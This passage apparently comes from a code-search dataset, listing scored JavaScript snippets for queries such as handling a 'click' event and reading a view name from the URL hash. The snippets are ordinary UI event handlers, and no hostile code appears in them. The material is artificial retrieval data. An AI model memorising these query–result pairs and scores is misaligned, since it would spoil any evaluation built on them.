"934334c7c96b22983f7739f481eaf0dd", "score": "0.62437433", "text": "toggleFlag() {\n\t\tif (this.isFlagged) {\n\t\t\tthis.element.classList.remove('flag');\n\t\t\tthis.isFlagged = false;\n\t\t} else {\n\t\t\tthis.element.classList.add('flag');\n\t\t\tthis.isFlagged = true;\n\t\t}\n\n\t}", "title": "" }, { "docid": "8a533cd5cdde57f11051878c219e62a7", "score": "0.6240473", "text": "function pressedButton() {\n saveButton.className += ' pressed'\n}", "title": "" }, { "docid": "5e6617887418ab5fdcd733fa7fada509", "score": "0.623871", "text": "toggleClassName() {\n this.setState(prevState => ({\n toggleClass: !prevState.toggleClass\n }));\n }", "title": "" }, { "docid": "835a6d90fbd66d9dc791b060c102d2b8", "score": "0.6236194", "text": "function clickHandler() {\n\t\t\t\tif($button.hasClass(config.classState1)) {\n\t\t\t\t\tif (config.clickState1 !== null) {\n\t\t\t\t\t\tconfig.clickState1();\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif (config.clickState2 !== null) {\n\t\t\t\t\t\tconfig.clickState2();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$button.addClass(config.classPending).addClass(\"disabled\").prop(\"disabled\", true);\n\t\t\t}", "title": "" }, { "docid": "41fb1a19dba9e9442f17b7bd9150f54d", "score": "0.62334615", "text": "_updateButtonActiveClass() {\n this._state.buttons.forEach(function(button) {\n const attributeIdentifier = button.closest('div.tileList__root').dataset.id;\n const valueIdentifier = button.dataset.id;\n\n if (\n this._state.attributes[attributeIdentifier] &&\n this._state.attributes[attributeIdentifier] == valueIdentifier\n ) {\n if (button.classList.contains('swatch__root')) {\n button.classList.add('swatch__root_selected');\n button.innerHTML = VariantSelector.buttonCheckIcon; // Add check icon\n } else {\n button.classList.add('tile__root_selected');\n }\n } else {\n if (button.classList.contains('swatch__root')) {\n button.classList.remove('swatch__root_selected');\n button.innerHTML = '';\n } else {\n button.classList.remove('tile__root_selected');\n }\n }\n }, this);\n }", "title": "" } ]
274dfa0180504d7f1fd2d9f782c38834
SECTION: handle `click` event
[ { "docid": "f5284ef00a828cb0c2e18d1553965288", "score": "0.0", "text": "function shouldUseClickEvent(elem) {\n // Use the `click` event to detect changes to checkbox and radio inputs.\n // This approach works across all browsers, whereas `change` does not fire\n // until `blur` in IE8.\n return elem.nodeName && elem.nodeName.toLowerCase() === 'input' && (elem.type === 'checkbox' || elem.type === 'radio');\n}", "title": "" } ]
[ { "docid": "7b190a847c1a94415c3968f16c14b6d5", "score": "0.7999363", "text": "performClickFunctionality() {}", "title": "" }, { "docid": "0609a21b00e3dc26443b3696fc38dd5a", "score": "0.7610381", "text": "function handleClick() {\n console.log('Clicked!');\n}", "title": "" }, { "docid": "b4979c97b9b901a9c02b2bbcce23b9e9", "score": "0.7577934", "text": "function click(event) {\n\n}", "title": "" }, { "docid": "096abbb269eb8badb086f847d458666d", "score": "0.7563571", "text": "function handleClick(e) {\n console.log('click', e);\n }", "title": "" }, { "docid": "00f6f81df3adb20a3dd3611594c5729a", "score": "0.753811", "text": "function handleClick(evt) {\n}", "title": "" }, { "docid": "bf39c2b5ece39389dce64af482634c9d", "score": "0.7475805", "text": "click() { }", "title": "" }, { "docid": "1e3a029b661ebbea7f6e0b934159ebaa", "score": "0.7380244", "text": "function clickHandler() {\n console.log('click event!');\n}", "title": "" }, { "docid": "fd9dea43022ddfc43cf2600a1b3d5b63", "score": "0.7379595", "text": "function handleClick() {\n\t\t window.ctaClick();\n\t\t}", "title": "" }, { "docid": "fd9dea43022ddfc43cf2600a1b3d5b63", "score": "0.7379595", "text": "function handleClick() {\n\t\t window.ctaClick();\n\t\t}", "title": "" }, { "docid": "c3dc282b2cbd2901f6bf3471b4684795", "score": "0.7228738", "text": "function clickHandler() {\n console.log('Button was clicked...');\n}", "title": "" }, { "docid": "50b65a3b232a2436245486e67c728e13", "score": "0.72170365", "text": "handleClick(id) {\n this.trigger('click', id);\n }", "title": "" }, { "docid": "7d8c7ae991a95ea403dd800ac970ca0e", "score": "0.71853083", "text": "function handleClick(){\n \n \n}", "title": "" }, { "docid": "58bb6b777e11f237e71b218b8aed1a0d", "score": "0.7121596", "text": "handleClick(event) {\n\n const createdEvent = new CustomEvent('buttonclicked', {\n bubbles: true,\n detail: this.title\n });\n\n this.dispatchEvent(createdEvent);\n }", "title": "" }, { "docid": "5dc27768e6b982aa0bc1af12f1a49f13", "score": "0.7118296", "text": "function clickHandler() {\n\t\tprops.quickView(props.num);\n\t}", "title": "" }, { "docid": "0d55d2e3a516e8dae06b49f941e87cc9", "score": "0.7101333", "text": "clickHandler() {\n $('.categ-button').click((event) => {\n $('.spinner').removeClass('hide');\n var foodType = event.target.innerText;\n\n this.getData(foodType);\n $(event.currentTarget).addClass('disableClick');\n });\n $('#yesButton').click((event) => {\n $('.spinner').removeClass('hide');\n\n this.sendfullRestaurantData();\n this.getRestaurantReviews();\n\n $('#yesButton').attr('disabled', true);\n });\n $('#noButton').click(this.updateUserSelection);\n $('.footer').click(this.showCategories);\n $('.logo_container').click(function(){\n window.location = '/';\n })\n }", "title": "" }, { "docid": "d5560391fee5d6069c8a5b04811e46a0", "score": "0.70773005", "text": "function handleClick(todo) {\n if (ontodoClick) {\n ontodoClick(todo)\n }\n }", "title": "" }, { "docid": "9aca285dd48b5ea4e4a5994faba9a35e", "score": "0.70639616", "text": "onClick() {\n console.log(\"clicked\");\n }", "title": "" }, { "docid": "0de416a3f43f97ae1edfcb7d2d3e2f45", "score": "0.7055339", "text": "function clicked()\n\t{\n\t\tif (enabled)\n\t\t\tthat.click && that.click.call(that, that);\n\t}", "title": "" }, { "docid": "f72358c851e065f75469eb66fcefcc97", "score": "0.70508975", "text": "function clickHandler() {\n\tconsole.log('link handler clicked');\n}", "title": "" }, { "docid": "154ad0ade55dae2e5a0ed0946fa4e786", "score": "0.70075864", "text": "onClick() {\n this.click.raise();\n }", "title": "" }, { "docid": "8d747e4b398c2e75cfacf4d9dc2fa574", "score": "0.70042235", "text": "function event_click()\n{\n console.log('button clicked')\n}", "title": "" }, { "docid": "74af236f44c56e238f741d8c892c6450", "score": "0.6988918", "text": "logClick() {\n console.log(\"I was clicked!\")\n }", "title": "" }, { "docid": "3a872a942ce17bdfdc76926fdfdb98e2", "score": "0.69821024", "text": "function handleClick() {\n console.log(\"A button was clicked!\");\n}", "title": "" }, { "docid": "430acb90c37777bf4f2240433a787fa3", "score": "0.69487756", "text": "function clickHandler() {\n console.log(\"Click Detected\");\n}", "title": "" }, { "docid": "4aed8302a75b297cb35beb8320bf1216", "score": "0.693104", "text": "onClick() {}", "title": "" }, { "docid": "4aed8302a75b297cb35beb8320bf1216", "score": "0.693104", "text": "onClick() {}", "title": "" }, { "docid": "5b3b2beb62b3e3ad9b4a1e8bae5f4c5b", "score": "0.6930737", "text": "function trackingClick(e) { }", "title": "" }, { "docid": "57e694ef4632059701c25b4baee11c78", "score": "0.69181615", "text": "handleClicked(_status) {\n this.clicked = _status;\n }", "title": "" }, { "docid": "40148b5923f26e5fcfaf0fb58f09bd2e", "score": "0.6916121", "text": "function onClick(event) {\n }", "title": "" }, { "docid": "e21740c5f7dd272e725b67290ef0459e", "score": "0.6904539", "text": "function clickCallback( event ){\n console.log(\"clicked by add event handler\");\n}", "title": "" }, { "docid": "0c585ebc02ad48cfe20af3e9468603c1", "score": "0.69016016", "text": "clickHandler(evt) {\r\n var rect = evt.target.getBoundingClientRect();\r\n var x = evt.clientX - rect.left;\r\n var y = evt.clientY - rect.top;\r\n this.scene.click(x, y);\r\n }", "title": "" }, { "docid": "382d69d4e07a02aef8088291f8c466f9", "score": "0.68641216", "text": "function whenClick(event) {\n // nothing\n }", "title": "" }, { "docid": "c2ddb351fb93c45c81c52fc4d54375b5", "score": "0.68635815", "text": "function clicked (){\r\n console.log('button was clicked');\r\n}", "title": "" }, { "docid": "bae4bc6d59797d95a97f6e3d341edef1", "score": "0.6838465", "text": "function handleClick() {\n console.log(\"clicked it !!\", event, event.type, this, this === event.target);\n clickCountTarget.innerText = clickCount;\n}", "title": "" }, { "docid": "0443e8081e68ff2f26689e455072dbd6", "score": "0.68330115", "text": "function clicked()\n{\n console.log('Button clicked');\n}", "title": "" }, { "docid": "ed17998541a805c4414297a0f45edf99", "score": "0.6831256", "text": "handleClickMoBV(event) {\n\n }", "title": "" }, { "docid": "d76e9090b3fb04c4cc1566fc565269a3", "score": "0.6826817", "text": "function clickHandler(e) {\n if (e.target.tagName === \"BUTTON\") {\n if (e.target.className === \"edit\") {\n editField(e);\n } else if (e.target.className === \"delete\") {\n deleteItem(e);\n }\n }\n}", "title": "" }, { "docid": "a0ca5dc94177afebf3fe1b7588788a2c", "score": "0.68251306", "text": "function handleClick(evt) {\n evt.preventDefault();\n let $event = $(evt.target);\n let clueId;\n\n // grabs the id regardless of where in the square was clicked\n if (\n $event.prop(\"tagName\") === \"I\" ||\n $event.prop(\"tagName\") === \"P\"\n ) {\n clueId = ($event.parent().attr(\"id\"));\n } else if (\n $event.prop(\"tagName\") === \"TD\") {\n clueId = $event.attr(\"id\");\n }\n\n let $clueElement = $(`#${clueId}`);\n let clueInfo = categories[clueId[2]].clues.clue[clueId[0]];\n let clueShow = clueInfo.show;\n\n if (clueShow === null) {\n $clueElement.empty();\n $clueElement.html(`<p>${clueInfo.question}</p>`);\n $clueElement.css('background-color', 'green');\n clueInfo.show = \"question\";\n } else if (clueShow === \"question\") {\n $clueElement.empty();\n $clueElement.html(`<p>${clueInfo.answer}</p>`);\n }\n}", "title": "" }, { "docid": "e0b253625f994feb80aa3e014fe67db9", "score": "0.68047523", "text": "handleClick (e){\n\t\talert(`Logging a button press on ${e.currentTarget.id}!`);\n\t}", "title": "" }, { "docid": "6583dc5c0a0fdc795ce76eeea12f451f", "score": "0.6782525", "text": "_handle_click() {\n console.info(\"CLICKED\", this.model.get(\"foo\").get(\"value\"));\n this.send({event: \"click\"});\n }", "title": "" }, { "docid": "46b3955534912ed700de6fdf3e5fbfc5", "score": "0.6762568", "text": "_buttonClick(e) {\n /**\n * Fires when button is clicked\n * @event click-details\n */\n this.dispatchEvent(new CustomEvent(\"button-click\", { detail: this }));\n }", "title": "" }, { "docid": "5ef0f00034e26a8a8f471ceadee166da", "score": "0.6757506", "text": "function handleClick(event) {\n console.info(\"You clicked a breadcrumb.\");\n}", "title": "" }, { "docid": "150d5fc7955d5c9a3004a88fe03e0155", "score": "0.6753493", "text": "click() {\n this.clicked = true;\n }", "title": "" }, { "docid": "0a84e79a9265c9d196488589e4c24baf", "score": "0.6751287", "text": "onClick(event) {\n this.$emit('click', event);\n }", "title": "" }, { "docid": "de58531f6bcf19472157443f5a1eb7fd", "score": "0.67489797", "text": "function Click() {\n console.log(\"Clicked...\");\n}", "title": "" }, { "docid": "9b16e5f5f2d33587d32db06f604273f4", "score": "0.67396563", "text": "click() {\n return this.onClick();\n }", "title": "" }, { "docid": "ec8c30e6c471a24780a7b2ad1c98efd0", "score": "0.6728181", "text": "handleClickEvent (e) {\n super.handleClickEvent(e)\n }", "title": "" }, { "docid": "ec8c30e6c471a24780a7b2ad1c98efd0", "score": "0.6728181", "text": "handleClickEvent (e) {\n super.handleClickEvent(e)\n }", "title": "" }, { "docid": "ec8c30e6c471a24780a7b2ad1c98efd0", "score": "0.6728181", "text": "handleClickEvent (e) {\n super.handleClickEvent(e)\n }", "title": "" }, { "docid": "cc9d054e3dc4b51202e465f9e6bf198e", "score": "0.671205", "text": "function clickHandler(ev) {\n\tvar ele = ev.target;\n\tif ((ele.nodeName.toUpperCase() == 'SPAN' && (hasClass(ele,'nm') || hasClass(ele,'an') || hasClass(ele,'av'))) \n\t\t\t|| (ele.nodeName.toUpperCase() == 'PRE' && hasClass(ele,'cmt'))\n\t\t\t|| (ele.nodeName.toUpperCase() == 'DIV' && hasClass(ele,'pi'))) {\n\t\tsetXpath(ele);\n\t} else if (ele.nodeName.toUpperCase() == 'RECT' && (ele.id == 'bannerRect' || ele.id == 'slider')) {\n\t\ttoggleSlider();\n\t\ttoggleOpacity(document.getElementById('banner'));\n\t} else if (ele.id == 'results') {\n\t\tprocessWonderBox();\n\t\treturn false;\n\t} else if (ele.id == 'transform') {\n\t\ttoggleOpacity(document.getElementById('tranny'));\n\t\treturn false;\n\t} else if (ele.id == 'trannyRect' || ele.id == 'trannyPlay') {\n\t\tprocessTransform();\n\t\treturn false;\n\t}\t\t\n}", "title": "" }, { "docid": "5b4ead50d849fba67732982d955af067", "score": "0.67099375", "text": "clickHandler() {\n console.log(\"Button 2 Pressed\");\n }", "title": "" }, { "docid": "ee379ae18fde97602fbb78a5e4664423", "score": "0.6709119", "text": "function Click() {\n console.log(\"Clicked !\");\n}", "title": "" }, { "docid": "f70ca203ba9ea370106d9aa58968097d", "score": "0.6708529", "text": "click() {\n this.action_verifyNumbers();\n if (this.model.exit.eventName == 'click')\n {\n this.model.app.showNext(this.model.exit.flow());\n }\n }", "title": "" }, { "docid": "d83f8cc11c8ff75d84665f634f788227", "score": "0.6695122", "text": "function handleClick(evt) {\n var button = evt.target.id;\n\n switch(button) {\n case 'new-call':\n newCall();\n break;\n case 'new-sms':\n newSMS();\n break;\n case 'pick-contact':\n pickContact();\n break;\n case 'pick-photo':\n pickPhoto();\n break;\n default:\n alert('No action');\n }\n }", "title": "" }, { "docid": "8961ce753edde9f41a5d136b40b31469", "score": "0.6687315", "text": "_onClick() {\n this.options.click();\n }", "title": "" }, { "docid": "89ef7b2ce738fdea2a7ddfc509f78035", "score": "0.6684019", "text": "function handleClick(sid) {\n\n slotClick(sid);\n\n }", "title": "" }, { "docid": "2b87c6c6b431057a0059a2a77a21ac8c", "score": "0.66823906", "text": "function handleClick() {\n console.log(\"button is clicked\");\n // displayResults(response);\n makeAPICall();\n}", "title": "" }, { "docid": "c5b640e779a435583511799b0abf663e", "score": "0.66535926", "text": "mouseClick() {\n\t\tif (this._click != null)\n\t\t\tthis._click();\n\t}", "title": "" }, { "docid": "1a3285eeddcb680702ea12ba06958219", "score": "0.6648103", "text": "function handleClick(name) {\n if (name === 'Clear Choice') clearChoice(); \n if (name === 'Void Item') voidItem(); \n }", "title": "" }, { "docid": "95d7fc643af2916ace90b165baf9f2c3", "score": "0.6621695", "text": "function clickEventFunction () {\n clickEvents.htmlEx.textContent = \"clicked\"\n}", "title": "" }, { "docid": "617d6561a9d3da32405cb0ff650c7d4f", "score": "0.6617097", "text": "handleClick(evt) {\n evt.stopPropagation();\n }", "title": "" }, { "docid": "19ec515af2aa84769bc34e52dcb05edd", "score": "0.6608841", "text": "function clickListener(evt) {\n evt.addEventListener(\"click\", () => {\n // console.log(\"On the right track\");\n let j = evt.getElementsByTagName(\"BUTTON\")[0];\n j.click();\n });\n}", "title": "" }, { "docid": "99db32c2df64883d15a99a6a956d4c0a", "score": "0.6601904", "text": "function clicked() {\r\n console.log(\"The button was clicked!\");\r\n}", "title": "" }, { "docid": "fe9ce5505ee5074aedc5a2b7a73bcd78", "score": "0.659029", "text": "function handleClicks(e) {\n\t\tvar clicked = e.target;\n\t\tvar method = clicked.getAttribute(\"data-action\");\n\n\t\tif (method) {\n\t\t\tswitch (method) {\n\t\t\t\tcase \"skip\":\n\t\t\t\t\tskipItem();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"save\":\n\t\t\t\t\tsaveItem();\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"done\":\n\t\t\t\t\treadingList.markReadURL(clicked.getAttribute(\"data-url\"));\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\t//e.preventDefault();\n\t\t}\n\t}", "title": "" }, { "docid": "2dd7410e2a43cfa8ebe4af68e42e5e66", "score": "0.65889204", "text": "function clickEventHandler(event) {\n console.log(event.type + ' <--- This is the event type')\n console.log(event.target)\n console.log(event.currentTarget);\n // event.stopPropagation()\n //uncommenting above will stop propagation correctly.\n }", "title": "" }, { "docid": "d9a539e2788e5de32f99e54a3758c65c", "score": "0.6578083", "text": "handleClick (event) {\n this.props.clickHandler(event, this.props.index);\n }", "title": "" }, { "docid": "9e728fc3cb531c3674d9e5ba7c284cb3", "score": "0.65779847", "text": "click() {\n\t\t\tthis.send(new util.Evt('click', {station:this}));\n\t\t}", "title": "" }, { "docid": "9b9aa2d4cb81281407469d9fa187f00d", "score": "0.65696716", "text": "click() {\n if (this.mouseIn()) {\n this.a(mouseX);\n }\n }", "title": "" }, { "docid": "cb990a193f8a96607c8cd36e5b864052", "score": "0.65635127", "text": "function clickEventHandler() {\n if (isEditing && editMarker >= questionsToEdit.length - 1) {\n // if we're editing and at the last question\n isLastQuestion = true;\n let result = calculateResult();\n let data = results[result];\n initResults(data, result);\n } else { \n next();\n }\n}", "title": "" }, { "docid": "14e6cf6b0bac406711ef64e545049d43", "score": "0.65630025", "text": "click(event) {\n this.clickPersons(event);\n this.clickWeddings(event);\n reDraw();\n }", "title": "" }, { "docid": "5c102034d75ba0d8fe9f049043bc1f61", "score": "0.65593994", "text": "function click(e) {\r\n\t\t\tif(!e && typeof e=='string') e=document.getElementById(e);\r\n\t\t\tif(!e) return;\r\n\t\t\tvar evObj = e.ownerDocument.createEvent('MouseEvents');\r\n\t\t\tevObj.initMouseEvent(\"click\",true,true,e.ownerDocument.defaultView,0,0,0,0,0,false,false,false,false,0,null);\r\n\t\t\te.dispatchEvent(evObj);\r\n\t\t\tevObj=null;\r\n\t\t}", "title": "" }, { "docid": "82f327801b6f4b2e1c0c0726522f100f", "score": "0.6556005", "text": "function click(e) {\n\t\t\tif(!e && typeof e=='string') e=document.getElementById(e);\n\t\t\tif(!e) return;\n\t\t\tvar evObj = e.ownerDocument.createEvent('MouseEvents');\n\t\t\tevObj.initMouseEvent(\"click\",true,true,e.ownerDocument.defaultView,0,0,0,0,0,false,false,false,false,0,null);\n\t\t\te.dispatchEvent(evObj);\n\t\t}", "title": "" }, { "docid": "8a4847b1494ec08332918c6d5be9ecfc", "score": "0.6552641", "text": "function click(e) {\r\n\t\tif(!e && typeof e=='string') e=document.getElementById(e);\r\n\t\tif(!e) return;\r\n\t\tvar evObj = e.ownerDocument.createEvent('MouseEvents');\r\n\t\tevObj.initMouseEvent(\"click\",true,true,e.ownerDocument.defaultView,0,0,0,0,0,false,false,false,false,0,null);\r\n\t\te.dispatchEvent(evObj);\r\n\t}", "title": "" }, { "docid": "88513face10a9b1a382942cba573c8fc", "score": "0.65512604", "text": "function handleClick(evt) {\n const button = evt.target.name;\n\n onClick(contact, button);\n }", "title": "" }, { "docid": "974c8e36a5adfad4b180a2e001f9be5c", "score": "0.6542212", "text": "handleClick_() {\n this.handleActivation_();\n }", "title": "" }, { "docid": "9bee370709289a9bd7d684728667d9ef", "score": "0.6541738", "text": "@api\n click() {\n const anchor = this.phoneAnchor;\n if (anchor && anchor.click) {\n anchor.click();\n }\n }", "title": "" }, { "docid": "42ccec02137fd8d71d843876e7631d5f", "score": "0.65374404", "text": "click (e) {\n e.preventDefault()\n\n this.get('frostNavigation').performAction(this.get('item'))\n }", "title": "" }, { "docid": "7468e157a4f2e6af31385ba9221d4192", "score": "0.65296036", "text": "_clickAndInvoke (event) {\n if (this.onClick) {\n this.onClick()\n }\n }", "title": "" }, { "docid": "96adff38d92b59d69da51e6cac64e375", "score": "0.65273887", "text": "function handleCategoryClick(_click) {\n switch (this.getAttribute(\"id\")) {\n case \"Weinbutton\":\n Wein();\n break;\n case \"Feinkostbutton\":\n Feinkost();\n break;\n }\n }", "title": "" }, { "docid": "9b7ac607cd6b81c24ed9ae29e70a2bc4", "score": "0.65130794", "text": "function onClick(e) {\n e.preventDefault();\n mousePressed();\n}", "title": "" }, { "docid": "28ec59ec2dfd0a775d9eaad182642bc6", "score": "0.65109503", "text": "onClick(event) {\n if (event.target === this._element) {\n this.notifyClick(event);\n }\n }", "title": "" }, { "docid": "9ba8f8c108709bc55a4cbef85b2667e3", "score": "0.6498888", "text": "click (e) {\n !this.fab &&\n e.detail &&\n this.$el.blur()\n\n this.$emit('click', e)\n }", "title": "" }, { "docid": "ad0e043b4c4a772a3e467a73e6b1e8aa", "score": "0.6497055", "text": "function piece_click() {}", "title": "" }, { "docid": "1c7cce10b9e433113747cd48fd4787c5", "score": "0.6495524", "text": "handleEvent(event) {\n event.preventDefault();\n // console.log('event', event.type, event);\n handleClick(this, event);\n }", "title": "" }, { "docid": "182a8dec540aaf7904778605255e9d94", "score": "0.64831835", "text": "function click(e) {\r\n\t\tif(!e && typeof e=='string') e=document.getElementById(e);\r\n\t\tif(!e) return;\r\n\t\tvar evObj = e.ownerDocument.createEvent('MouseEvents');\r\n\t\tevObj.initMouseEvent(\"click\",true,true,e.ownerDocument.defaultView,0,0,0,0,0,false,false,false,false,0,null);\r\n\t\te.dispatchEvent(evObj);\r\n\t\tevObj=null;\r\n\t}", "title": "" }, { "docid": "b35e265257e9751add7d6ed8e4d2a8bb", "score": "0.64828247", "text": "function handleSlideClick(e) {\n onSlideClick?.(e, ctx)\n }", "title": "" }, { "docid": "9019657f580378cc2cd52da06553672e", "score": "0.64804935", "text": "function onClick(ctx,event) {\n\n}", "title": "" }, { "docid": "5b3735290a50c6b6ce159528ea0f4359", "score": "0.6474638", "text": "function hearClick/* event handler */( click )\n {\n // ◉ : Parts below marked ◉ apply only where the clicked waybit is subjoining\n\n const eSTag = click.currentTarget; // Where listening\n const eClicked = click.target; // What got clicked\n\n // =====================\n // Empty container space clicked? No function\n // =====================\n if( eClicked === eSTag ) return; // Start tag element itself, as opposed to a descendant\n\n const eClickedNS = eClicked.namespaceURI; // ◉\n if( eClicked.parentNode === eSTag && eClicked.localName === 'div'\n && eClickedNS === NS_HTML ) return; // Inway element itself, as opposed to a descendant\n\n // ==============\n // Inway approach clicked? Function is scene switching ◉\n // ==============\n const bit = eSTag.parentNode; // Waybit\n const windowTargetedElement = Hyperlinkage.windowTargetedElement();\n if( eClickedNS === NS_SVG ) // inway approach\n {\n if( bit !== windowTargetedElement ) return; // Switch is disabled\n\n const u = new URL( location.toString() ); // [WDL]\n u.hash = ''; // Remove the fragment\n const pp = u.searchParams; /* Anticipating implementation of ./project.task\n § bidirectional traversal of referential joints § scene selection model */\n pp.set( 'scn', 'srj' );\n pp.set( 'bit', bit.getAttribute('id') );\n // history.replaceState( history./*duplicate of*/state, /*no title*/'', u.href ); // TEST\n return;\n }\n\n // ==============================\n // Start tag name or inway `hall` (◉) clicked: Function is self hyperlinking\n // ==============================\n const view = document.scrollingElement; // Within the viewport\n const scrollTopWas = view.scrollTop;\n const scrollLeftWas = view.scrollLeft;\n\n // Drop a breadcrumb before changing location\n // -----------------\n Breadcrumbs.dropCrumb( bit );\n\n // Toggle the browser location, window targeted ⇄ window untargeted\n // ---------------------------\n if( bit === windowTargetedElement ) // Δ: window targeted → window untargeted\n {\n location.hash = ''; // Untargeting\n const loc = location.toString(); // [WDL]\n if( loc.endsWith( '#' )) // Then it left the fragment delimiter hanging there, visible,\n { // like the grin of the Cheshire Cat (Firefox, Chrome). Remove it:\n history.replaceState( history./*duplicate of*/state, /*no title*/'',\n loc.slice(0,-1) );\n }\n }\n else location.hash = bit.getAttribute( 'id' ); // Δ: window untargeted → window targeted\n\n // Stabilize the view within the viewport\n // ------------------\n view.scrollTop = scrollTopWas;\n view.scrollLeft = scrollLeftWas;\n }", "title": "" }, { "docid": "6eb6b0fe81269e63f3b7b469cc55bc97", "score": "0.6465118", "text": "function handle_click(event) {\n\tvar target = event.target;\n\tvar target_category = target.getAttr('category');\n\n if (target_category == 'furniture' || target_category == 'item') {\n var commands;\n\n // Not all clicked items have their entry in interactions_json.\n try {\n commands = interactions_json[target.id()].click;\n } catch (e) {}\n\n if (commands == null) // no click interaction defined: usual examine\n commands = [{\"command\":\"monologue\", \"textkey\":{\"object\": target.id(), \"string\": \"examine\"}}];\n\n handle_commands(commands);\n\t}\n // Pick up rewards\n else if (target_category == 'secret') {\n\t\tsetMonologue(findMonologue(target.id(), 'pickup'));\n\t\tvar rewardID = target.getAttr('reward');\n\t\tinventoryAdd(getObject(rewardID));\n\t\trewards++;\n removeObject(target);\n\n\t\t// To prevent multiple events happening at the same time\n\t\tevent.cancelBubble = true;\n\t}\n\t// Print examine texts for rewards\n\telse if (target_category == 'reward') {\n\t\tsetMonologue(findMonologue(target.id()));\n\t}\n\t// Inventory arrow buttons\n\telse if (target.getAttr('id') == 'inventory_left_arrow') {\n\t\tif (target.getAttr('visible') == true) {\n\t\t\tinventory_index--;\n\t\t\tredrawInventory();\n\t\t}\n\t}\n\telse if (target.getAttr('id') == 'inventory_right_arrow') {\n\t\tif (target.getAttr('visible') == true) {\n\t\t\tinventory_index++;\n\t\t\tredrawInventory();\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a8ccf41189990f6388d09d6de9f1b830", "score": "0.6463144", "text": "onClick(pEvent) {\n\t}", "title": "" }, { "docid": "b2b4d203724b2edee9b796aa57894b4d", "score": "0.64591", "text": "function click(el){\n var e = document.createEvent('Events');\n e.initEvent('click', true, false);\n el.dispatchEvent(e);\n}", "title": "" }, { "docid": "50c4750b0403946cc502ba7e53dcbaeb", "score": "0.64523137", "text": "function click(e, type) {\r\nif(!e) {return;}\r\nif(typeof e=='string') e=document.getElementById(e);\r\nvar evObj = document.createEvent('MouseEvents');\r\nevObj.initMouseEvent((type||'click'),true,true,window,0,0,0,0,0,false,false,false,false,0,null);\r\ne.dispatchEvent(evObj);\r\n}", "title": "" }, { "docid": "50c4750b0403946cc502ba7e53dcbaeb", "score": "0.64523137", "text": "function click(e, type) {\r\nif(!e) {return;}\r\nif(typeof e=='string') e=document.getElementById(e);\r\nvar evObj = document.createEvent('MouseEvents');\r\nevObj.initMouseEvent((type||'click'),true,true,window,0,0,0,0,0,false,false,false,false,0,null);\r\ne.dispatchEvent(evObj);\r\n}", "title": "" }, { "docid": "50c4750b0403946cc502ba7e53dcbaeb", "score": "0.64523137", "text": "function click(e, type) {\r\nif(!e) {return;}\r\nif(typeof e=='string') e=document.getElementById(e);\r\nvar evObj = document.createEvent('MouseEvents');\r\nevObj.initMouseEvent((type||'click'),true,true,window,0,0,0,0,0,false,false,false,false,0,null);\r\ne.dispatchEvent(evObj);\r\n}", "title": "" }, { "docid": "50c4750b0403946cc502ba7e53dcbaeb", "score": "0.64523137", "text": "function click(e, type) {\r\nif(!e) {return;}\r\nif(typeof e=='string') e=document.getElementById(e);\r\nvar evObj = document.createEvent('MouseEvents');\r\nevObj.initMouseEvent((type||'click'),true,true,window,0,0,0,0,0,false,false,false,false,0,null);\r\ne.dispatchEvent(evObj);\r\n}", "title": "" }, { "docid": "50c4750b0403946cc502ba7e53dcbaeb", "score": "0.64523137", "text": "function click(e, type) {\r\nif(!e) {return;}\r\nif(typeof e=='string') e=document.getElementById(e);\r\nvar evObj = document.createEvent('MouseEvents');\r\nevObj.initMouseEvent((type||'click'),true,true,window,0,0,0,0,0,false,false,false,false,0,null);\r\ne.dispatchEvent(evObj);\r\n}", "title": "" }, { "docid": "705de0dde33ba9a312d27a99b58572f5", "score": "0.64469916", "text": "clickEvent(e) {\n this.fetchDetails(e.target.listRow);\n }", "title": "" }, { "docid": "eaaedf49dbf6f974648786e7c3dada29", "score": "0.6446368", "text": "function click() {\n console.log('click')\n}", "title": "" }, { "docid": "f4bc3315d1280b2e506ea4e0d30da826", "score": "0.6441573", "text": "handleClick(event) {\n this.props.btnClick(event.target.innerText);\n }", "title": "" }, { "docid": "37b5c57b5647f51fa680f80dfc2fc622", "score": "0.6427089", "text": "function click(e, type) {\r\nif(!e && typeof e=='string') e=document.getElementById(e);\r\nif(!e) return;\r\nvar evObj = e.ownerDocument.createEvent('MouseEvents');\r\nevObj.initMouseEvent(\"click\",true,true,e.ownerDocument.defaultView,0,0,0,0,0,false,false,false,false,0,null);\r\ne.dispatchEvent(evObj);\r\n}", "title": "" }, { "docid": "69bc6e3459792f5ff8a224273f837eb0", "score": "0.6426015", "text": "function userClicks() {\n $('.menu-icon-link').click();\n }", "title": "" } ]
dff3478ffbca73e7f1ea5af1ce646133
true once initialization finished Returns the value of the hash parameter indicating the view, or 'default' on error.
[ { "docid": "338e4907a052a5821ed886eb98de00f7", "score": "0.70275486", "text": "function viewFromHash() {\r\n var value = $.bbq.getState('view', false);\r\n return $.inArray(value, views) >= 0 ? value : 'default';\r\n }", "title": "" } ]
[ { "docid": "3dbeda49546155b06bfb78dbc96343c7", "score": "0.60192025", "text": "initializeView() { }", "title": "" }, { "docid": "9531117a81cc9995dc205ac456e12aba", "score": "0.5973606", "text": "async _initializeView() {\n\t\tswitch (this.view) {\n\t\t\tcase \"game\":\n\t\t\t\treturn this._initializeGameView();\n\t\t\tcase \"stream\":\n\t\t\t\treturn this._initializeStreamView();\n\t\t\tdefault:\n\t\t\t\tthrow new Error(`Unknown view URL ${this.view} provided`);\n\t\t}\n\t}", "title": "" }, { "docid": "e94cc164390a40cdfd8c0386242bd22c", "score": "0.5899287", "text": "get view() {\n if(!this._view) {\n throw new Error('No view defined - either generateView is missing or it does not have the correct return value!');\n }\n return this._view;\n }", "title": "" }, { "docid": "7146b538a4730ba0b0ff30350286c575", "score": "0.5747814", "text": "_checkHash() {\n if (this.hash === location.hash) {\n return;\n }\n if (this.isOpeningView) {\n this.isOpeningViewCancelled = true;\n return false;\n }\n\n // Store the new hash before the loop starts again\n if (this.debug) {\n console.debug('Hash changed');\n }\n\n this.hash = location.hash;\n\n // Get the requested view\n if (!this.hash || this.hash === '#') {\n this.goTo(this.default_view);\n return false;\n }\n\n let splits = this.hash.substring(1).split('&');\n let view = splits.shift();\n\n let pos = view.indexOf('/');\n if (pos > 0) {\n const next = view.indexOf('/', pos + 1);\n if (next > 0) {\n pos = next;\n\n view = view.substring(0, pos);\n }\n 